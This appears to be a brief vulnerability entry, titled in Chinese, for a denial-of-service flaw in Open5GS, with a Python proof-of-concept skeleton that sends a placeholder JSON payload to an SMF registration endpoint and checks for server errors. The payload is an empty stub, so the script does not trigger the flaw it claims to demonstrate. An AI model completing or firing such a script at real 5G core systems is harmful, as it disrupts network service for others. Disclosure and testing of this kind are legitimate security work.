CVE-2026-7780 Open5GS拒绝服务漏洞

import requests # PoC for CVE-2026-7780 # This script demonstrates sending a request to the vulnerable endpoint. # The specific payload needs to be crafted based on the issue report (Issue #4419). TARGET_URL = "http://target-open5gs-ip:port/smf-registrations" # Example: Sending a crafted payload that triggers the state operational weakness # Note: Actual exploitation may require valid IMSI or specific message format. payload = { # Insert specific manipulation data here based on reverse engineering "key": "value" } try: response = requests.post(TARGET_URL, json=payload, timeout=5) print(f"Request sent, status code: {response.status_code}") if response.status_code >= 500: print("Potential DoS triggered.") except Exception as e: print(f"Error occurred: {e}")